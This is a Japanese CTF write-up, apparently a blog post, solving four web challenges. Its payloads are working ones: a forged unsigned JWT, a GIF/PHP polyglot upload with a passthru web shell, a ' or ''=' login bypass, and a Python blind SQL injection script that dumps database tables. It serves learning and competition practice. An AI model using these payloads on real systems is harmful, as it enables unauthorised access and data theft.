[web] Auth
ページにアクセスするとbasic認証っぽい感じで認証を求められる。
認証に失敗すると
Wrong username or password; register using /register and the username and password params
と言われるので、色々試すと以下のようにするとアカウントが作成できる。
GET /register?username=guest&password=guest HTTP/1.1 Host: 213.133.103.186:7821
ok. basic認証で渡してみる。
GET / HTTP/1.1 Host: 213.133.103.186:7821 Cache-Control: max-age=0 Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
すると以下のようにトークンが発行される。
HTTP/1.1 200 OK X-Powered-By: Express Info: check /info Content-Type: text/html; charset=utf-8 Content-Length: 131 ETag: W/"83-Gf0yXpjbkDgYrX+RsaQV1fmUwUA" Date: Sat, 08 Apr 2023 04:51:04 GMT Connection: keep-alive Keep-Alive: timeout=5 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjgwOTI5NDY0fQ.0wrnDVlN7IHV3AJCorzg0qQO8Tf6UxrPSocoonpOgTw
Info: check /info
と情報がさらに与えられるので/info
に行くとcheck the /validate route; use token as the query param
と言われる。
言われた通りGET /validate?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjgwOTI5MjI0fQ.Qmpr2gtKzXtBHHjOFUi_hEl0fSm8ClAuQezGrVnluuI
のようにアクセスしてみると、only the admin account has permissions to access the flag
と言われる。
jwt.ioでpayloadを見てみると{"username": "guest","iat": 1680929224}
のような感じになっている。
これの偽装のために{"username": "admin","iat": 1680929224}
と変更をして、jwtを作り検証部分を削るとフラグが得られた。
具体的にはGET /validate?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjgwOTI5MjI0fQ.
のような感じ。
[web] gif
ファイルアップロードができるサイトが与えられる。
試しに適当なgifファイルをabc.gifという名前でアップロードしてみると、成功する。
完全に想像だが、/uploads/abc.gif
に行ってみるとアップロード物が確認できた。(guessです)
名前をabc.gif.phpに変更し、先ほど送ったgif画像の末尾に<?php phpinfo();
をつけてアップロードすると、これも成功する。
/uploads/abc.gif.php
に行くとphpinfoが動いているので任意phpコード実行ができそうだ。
phpコードを<?php passthru($_GET['c']);
にして、?c=id
とするとidコマンドが実行できていることが確認できた。
色々探索するとルート直下にflag.txtというファイルが見つかるので、最終的には?c=cat%20/flag.txt
でフラグ獲得できる。
[web] SQLi-1
シンプルなログイン画面が与えられる。
SQLクエリを推測して、
usernameをadmin
、passwordを' or ''='
とするとフラグが得られた。
[web] SQLi-2
同様にシンプルなログイン画面が与えられる。
セミコロンは使えなくなったようだが、それを使ったペイロードではないので問題ない。
前問同様にusernameをadmin
、passwordを' or ''='
とするとフラグが得られた。
[web] SQLi-3
同様にシンプルなログイン画面が与えられる。
今回はフラグがどこかのテーブルにあるらしい。
SQLインジェクションは変わらずできそうではあるが、入力にクエリの結果を含めることはできなさそうなので
Blind SQL インジェクションで情報を抜き出すことをやってみよう。
import requests import time url = 'http://[ip]:[port]/login' #req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES' #[*] done! information_schema,mysql,performance_schema,railway,sys #req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='railway'" #[*] done! Flag,Users #req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='Flag'" #[*] done! id,value req = "SELECT GROUP_CONCAT(distinct value) FROM Flag" ans = "" for i in range(1, 1010): ok = 0 ng = 255 while ok + 1 != ng: md = (ok + ng) // 2 exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #" res = requests.post(url, data={'userName':'admin','password':exp}) if 'no' not in res.text: ok = md else: ng = md if ok == 0: break ans += chr(ok) time.sleep(1) print(f"[*] {ans}") print(f"[*] done! {ans}")
適当にこんな感じのものを書いて抜き出すとフラグが得られる。